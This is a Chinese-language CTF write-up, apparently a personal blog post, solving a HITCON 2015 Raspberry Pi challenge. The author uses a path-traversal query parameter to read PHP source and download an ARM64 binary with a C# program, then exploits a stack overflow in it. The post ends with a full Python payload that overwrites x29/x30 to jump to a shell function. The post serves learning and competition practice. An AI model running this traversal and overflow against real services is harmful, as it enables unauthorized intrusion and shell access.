HITCON 2015 兩天活動結束惹
這期間成功解了 R0 的樹莓派的題目
這也是我第一次解這種題目…….
平常也沒啥打CTF…..解起來滿吃力的 QQ
寫這篇筆記時,發現自己多繞了ㄧ圈 XDrz
寫個文章來記錄這題的解法,如果哪邊有說錯 歡迎通知我更正 QAQ
這題表面上是個純Web題目,但其實是Web + Reverse 的組合技
目標是取得Shell 拿下首頁
首頁大概是長這樣子
點連結後下方會出現內容
網址為 http://[ip]/?id=1 到 http://[ip]/?id=10
大家就會開始測試各種patten拉
這裏有個可任意瀏覽有權限訪問的漏洞
於是 http://[ip]/?id=../index.php
你就可以看到他把自己抓進來輸出了
這邊你就可以看到php原始碼了
不過很可惜的是不能玩 php://input 直接拿shell
接著其實就是各種亂翻了
翻到history 內有些可疑的指令
發現了有存取這個檔案 /home/forkyou/forkyou
那就先寫個程式把東西下載下來
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.IO;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
WebClient client = new WebClient();
Byte[] data = client.DownloadData("http://140.109.127.21/?id=../../../home/forkyou/forkyou");
Stream f = System.IO.File.Open("forkyou", FileMode.Create | FileMode.Open);
f.Write(data, 0x689, 0x0009F93D - 0x689);
f.Flush();
f.Close();
}
}
}
也發現這服務開了不只80 port
還有 3333 port
nc 上去後
這應該就是要想辦法取Shell寫檔案的程式了
剛剛所下載的binary 丟到反組譯的程式看了一下之後也確認過是這隻程式沒錯了
這個程式是Arm64的binary
接下來就是我比較擅長的逆向了 (其實這兩天才邊看邊翻ARM指令集
首先這支程式會要你輸入選項
既然有輸入……那就先塞超長字串看看了
恩…有Overflow漏洞可以利用
在反組譯的過程中 你會發現有個函數
這是在剛剛程式選單中第四個選項Pwn找到的
由於目標是拿到Shell ,所以這裡是個可以利用的位置
然後這是我選擇跳躍的位置~
接下來要找overflow的地方,我是用 http://qira.me 這工具來找~
x30 暫存器為 0x6161616161616161
這就是那個Overflow的位置了
接著我們可以看到有編號 7039的那行有讀取sp所儲存的記憶體位置的值
此時sp指向 0x4000800440
圖片中指令 LDP X29, X30, [SP],#0x10
這會把 0x4000800400位置的16個byte切成個8個byte複製到 x29 , x30 中 ,再把 sp + 16
由於我對Arm64架構不太熟,不過這行指令應該就是恢復堆疊用的指令
稍微查了下除了x30 是剛提到的 return address register 以外
x29 則是 frame pointer ,功能上感覺很像是在x86中ebp,會儲存目前堆疊儲存參數的位置
知道了overflow的點以及跳轉的位置就可以來寫 payload了
從上面那張圖可以看到從 0x4000800470 到 0x40080046F 總共有 64個byte要先塞掉
接著回來看要跳轉的位置
我們要利用x29 的數值來讓第二個參數有地方儲存,然後正常執行
所以我隨便挑了一個位置 0x497728 來使用
完整payload如下
import socket
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('127.0.0.1', 4000))
import telnetlib
import struct
telnet = telnetlib.Telnet()
telnet.sock = sock
telnet.write(struct.pack('<B',0x0)*64)
telnet.write(struct.pack('<q',0x497728))
telnet.write(struct.pack('<q',0x400EF18))
telnet.write("\n")
telnet.interact()